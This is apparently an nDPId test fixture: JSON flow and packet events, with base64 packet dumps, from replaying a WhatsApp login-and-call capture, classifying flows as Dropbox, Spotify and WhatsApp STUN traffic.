+00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":281,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432582246280,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01090{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582246,"pkt_ts_usec":280217,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAISN8UAAEARusXAqAIBwKgC\/0RcRFwB\/jsJeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":281,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432582246280,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432582247125,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582247,"pkt_ts_usec":125660,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABIu7MAAEAROKHAqAIBwKgC\/+EV4RUANKgAU3BvdFVkcDCYJeGQmjjiDQABAARIlcID1NylhjSgAeWF26p2NNVFJFGe2SE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":282,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432582247125,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1432582249235,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.62.150.157","src_port":49194,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":235256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0VdFAAEAGLmvAqAIEXT6WncAqAbtp\/2UpB8hbNoARIADD5gAAAQEICi36g7kNLSlg"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1432582249235,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49198,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":235474,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo02tAAEAGBQTAqAIEEaeODcAuAbvUT3p65yrTtlAR\/\/+B3QAA"} +00437{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":291378,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0DlQAAG4Gh+hdPpadwKgCBAG7wCoHyFs2af9lKoARAgLVtQAAAQEICg0tNY4t+oO5"} +00438{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":292701,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0W3xAAEAGKMDAqAIEXT6WncAqAbtp\/2UqB8hbN4AQIAC3ZgAAAQEICi36hAoNLTWO"} +00422{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":385278,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAony8AAO4Gyz8Rp44NwKgCBAG7wC7nKtO21E96e1ARn\/7h3QAA"} +00424{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582249,"pkt_ts_usec":492305,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo3x9AAEAG+U\/AqAIEEaeODcAuAbvUT3p75yrTt1AQ\/\/+B3AAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":301,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1432582250339,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49200,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582250,"pkt_ts_usec":339527,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoFBJAAEAGxF3AqAIEEaeODcAwAbsLr3wkAQ2ywFAR\/\/9P5gAA"} +00422{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582250,"pkt_ts_usec":476958,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoVmEAAO4GFA4Rp44NwKgCBAG7wDABDbLAC698JVARn\/6v5gAA"} +00423{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582250,"pkt_ts_usec":618616,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAotpxAAEAGIdPAqAIEEaeODcAwAbsLr3wlAQ2ywVAQ\/\/9P5QAA"} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":304,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432582246280,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":304,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432582247125,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":197582,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"APS5Jrv0xiwDYGpkCABFAAByH68AAFYRBeMfDV0wwKgCBA2WyT4AXrjagckACUwonm2wHgwTDvqn09dI5Tl\/4L+Lv6PBoXbsprKS9SgxRhWHjq5qsMlCLel9YINSbVW1kyOkA+bDEjDWVO8fpWX9e7C0gAAAAVvv5xPqYsEj4ls="} +00524{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":449320,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"xiwDYGpkAPS5Jrv0CABFwAByxxYAAEARc7vAqAIEHw1dMMk+DZYAXqeygckACVRZKCT7lnvZ811JfC5ler1y\/RVJ82dVNGIRmS8ajsv2qK4TCbrz2O7Z+mq+ixG2tXbvFQ3Uv55JzfT8oMVSo0nQX+75gAAAAZw0TI0CfOcdGVE="} +00766{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":622982,"pkt_caplen":302,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":302,"pkt_l4_len":268,"pkt":"xiwDYGpkAPS5Jrv0CABFwAEgvnIAAEARe7HAqAIEHw1dMMk+DZYBDJTogPhBKQAACgBUWSgkJQftb+eUEIqcBe\/Wcq54y3PH7EtnWYY10TPN\/yzikXt2N06\/l+eNPUtopv6QSAGjC9LvWMuyyZ+feEglSpbVTzTDx4DlAE7e2DVd\/reZs86a5kl5JSTCGIWRfwC\/cSWhnhq4ICvhgp9YK+jKykfxbYE68863ROqjz4FFM7VPE9G2o7b8BXzFfdHdNt1kIxhL\/V8kKE\/3a7VLkGFomHbeT+JWvwPw5iFS3mqeUcML4GaEx4EbcOn9A\/7lfE3jBSL2qWE\/WyYvU5oPByLSO7xLxbqH6rvOmskmAHKMT6MhPp\/umR5I4DZrcqAUjFqcbl9eq+emOrfWgCo="} +00442{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":623058,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"xiwDYGpkAPS5Jrv0CABFwAA2e64AAEARv1\/AqAIEHw1dMMk+DZYAIg4SgdAAAlRZKCSVlI1fgAAAAk1d8SGQuEHlKXY="} +00743{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":776268,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"xiwDYGpkAPS5Jrv0CABFwAEUdqEAAEARw47AqAIEHw1dMMk+DZYBAKKGgPhBKgAAFABUWSgkDvB0RV1pLNSrh6QBVQxaGQaxVxFAUUsM\/GIh55k8FH9UAH2kkkcjF1GyHySMx348M+BTdZP6+r1orR6JI161XnlQmvv2bGz\/MzhaZjYqy1xqCXMw81CHFwhmBf49vlx19QivwWZM6w0AyBRTHblc7DTexrIsggmBAR66ey\/30yS2cMPykyUtM7CUJLPORnk0UzMAHfix75df0VHphEDqKui95fCVClsnlyUEugUHeX3g7l9E9DEB+u2sX5cwM+1uNRKOyUrV6ucukW3T7N4YpH1cGCD2aGvHThq7R3qzzT2icM9oFXPWsHnuUWM="} +00798{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":941399,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"xiwDYGpkAPS5Jrv0CABFwAE9ZPwAAEAR1QrAqAIEHw1dMMk+DZYBKZ7sgPhBKwAAHgBUWSgkQMik4p1LbXk0hKnHYswpfXmGxoTLR2vyhBAXTC1bOUCu6lcpCsqJt6IgRt1JGt2akYG\/tXKY0BlNRzRMdvSJruDWPXfHvs6g7E1hasRSE9+25WZS515xB9YqgTNSGjvoFWoHzISxDDdHA8qDs9ykHkHma3ocJSNsN0SlUZ+gtjXSm1tpPhPsj7is53gncmN5OG8jG0QttEqkYfA5jXqMKg4AYPsRwAgfqW5uHR+omFWtXPvUoEpXK3wStiUTJ5sqpO2H0ir42h00TnrEA0LumIO27GR14nayC+k0zvvQBXT3koQQeDIFxzYv7kALKy+wBl1GqKZ9cc5aHyad2o8TqBv38WGgouQEEp95glDTUoCfA8hixA=="} +00658{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":959932,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"APS5Jrv0xiwDYGpkCABFAADSH7AAAFYRBYIfDV0wwKgCBA2WyT4AvsBhgPglSAAACgBMKJ5teM91LWa3D4cFSTUsYUqOhsnItYTVdSdTS\/Dw\/dFgzYBh+7QfdcpfMRhyTViAKYpMw1Wd3nYP4QsKjIsrWLkvyifOL6fVBfehCMBA1\/y3R9DHy2OuZJOpJ7HJZWP6FY1nD5d+qbr9iljH8ps0BzzGkn5DMXFvTzhTIdR+U2mnEnYbT7SOpDorJzFK+QDPA2ZkjUriZvXEAVYaNEi\/aJj4GzOJ\/3opB6LgSpg="} +00442{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582257,"pkt_ts_usec":961490,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"APS5Jrv0xiwDYGpkCABFAAA2H7EAAFYRBh0fDV0wwKgCBA2WyT4AIgNbgdAAAkwonm1geegQgAAAAo9os8zuLjw3RAA="} +00760{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":79361,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"xiwDYGpkAPS5Jrv0CABFwAEd\/ncAAEARO6\/AqAIEHw1dMMk+DZYBCVqagPhBLAAAKABUWSgkH1k7MQ+SpX9e37sFlnpFBbbSSz\/eMBJZin9e9q7+a3YroYkyKhOjEHJhM4\/ZJubRpoVEzoNCQiYW37PQ9ACQdGaVa4jiIwRxgKx4GZigATStpSP9rtzUVaGYDPXIEUNDOGJwOYUgeM0Ft2WtPdlW8PlAB4gvA1AclHBPRO1dAviShoe+1BogsJ6\/bHhRMqnQ6eUKzWlgT0FzIyOWgJrQ1+PmUjhinUB\/OQxQeeHzZ79VN7X4b0Ky7BsiYZyi+C9EEFgvWn7QTFW4I7iSlBr1VkCSn9L8AJBsiqCfAiXqQ\/5eBSYaBaGRbmFYbv4lL5\/kLiwQJyc="} +00725{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":100420,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":276,"pkt_l4_len":242,"pkt":"APS5Jrv0xiwDYGpkCABFAAEGH7IAAFYRBUwfDV0wwKgCBA2WyT4A8ta+gPglSQAAFABMKJ5tmiD\/0WCiLlNUr9XvJVIJQ\/u6oBIXekwKCHWs0LW7qqW4AItvqVH1GpoaRri77tdwwm54S24QJkTPOrgJPaHwobLxxUzmKM906vC0Z0tkzrakkvHLQUYMgG4NEtVASKMjwMF7bNp\/GghORWLnCr1FIpoTp7tAfBhbRYjn8gDBTzHoEKZEGf45Q38PlJhJRJtE9RgDubiByvCStec0oZX0Fj1nMql5JAdIKFwVeg3iC7R5DNjvWqi4ffWNNgjlk2X3bGOOZ3qUYQ6ZeNYLt\/NKqH7JP6qIW0iMpWxi3Bdd"} +00712{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":272232,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"APS5Jrv0xiwDYGpkCABFAAD8H7MAAFYRBVUfDV0wwKgCBA2WyT4A6BJ1gPglSgAAHgBMKJ5tQqgHrjMR3HfoBKUbsHSDS5aU64Vqc0Ix1OO5vV1Ug2kVfumuSRmeoiyk6FxOHh4URezevKx0AHnVCovgWN09Fao9\/vsgPljujT63FO2Jihe8v8HUtwG02dJcaJg4dyO7C8jAZ1BBh42oWZ5c6ukFXKsUDof\/zP7HxEdFDBfMnuQ4WeiaLc5yFDJQb52HMKxrDmndS7UhOforJq6JdW\/jTpMgNcFONycByxLJbaNy4EijSVgkgr4p9mKp1YXuppYt2gBfKjgirq8Q4nCECPUAzvmmhpU="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":334,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1432582258587,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"1.194.90.191","src_port":51518,"dst_port":60312,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":587552,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIJ6AAAEARMxjAqAIEAcJav8k+65gANBimAAEAGCESpEI2xNtJG9sue8sIM0EACAAU5G1owzzn9g07DgjX0q3CWkGBWA0="} +00586{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":334,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1432582258587,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"1.194.90.191","src_port":51518,"dst_port":60312,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":338,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1432582258730,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"91.253.176.65","src_port":51518,"dst_port":9344,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":730153,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkAPS5Jrv0CABFwABIG0oAAEARj7DAqAIEW\/2wQck+JIAANKXrAAEAGCESpELdaIZ9jcVOA62tiygACAAUhE7qa\/gs1xldMnASKkUclFJWums="} +00586{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":338,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1432582258730,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"91.253.176.65","src_port":51518,"dst_port":9344,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00466{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":815685,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI4nIAAC8R2kdb\/bBBwKgCBCSAyT4ANOAtAQEAGCESpELdaIZ9jcVOA62tiygACAAUsHui2xBS6T5qw9kAv9V6SryCnE8="} +00815{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":825375,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"xiwDYGpkAPS5Jrv0CABFwAFIgM0AAEARKS3AqAIEW\/2wQck+JIABNDV+gPhBLgAAPABUWSgkrOczzTmmNaWeHGyeFn5K8vlkangPxwACY7IwMpCpL5qUBEDYknjmXwiwt1Sg\/GoDEpuWps7K3BPScguv1CoIPKC+VL4kk69VBQy2eU1f6p0OhYSXKAcM\/9HmK5KZeJJnhjzxZ+J\/AtWZs+X8uDaujdvMYKyUONaU\/07PQLiEd81h3NGLNxCpTNYPkmMGXMy1y+UaiUzN89zB2\/RkHbLVqN6e+nvnnRR2frMRlVsFWAJQmXtD929e1+a2u\/RdJfu15HCbSLl3jTXDbl84mpeVYYxkc3LSpxB7HrCYZEpYcCniVsfACmA6zpHVbv1BlaoQu+KuUWJT2eQ73+Vh12sP5aPix21kFcGvLfE3UalmxPkTCEhiCOUQRQbTvOcEo103"} +00468{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582258,"pkt_ts_usec":881819,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIE\/gAAC8RqMJb\/bBBwKgCBCSAyT4ANMrWAAEAGCESpEKeaboEfgZsasdwHloACAAUqRSMFuqpInS4y87I6AOf8O\/PSC8="} 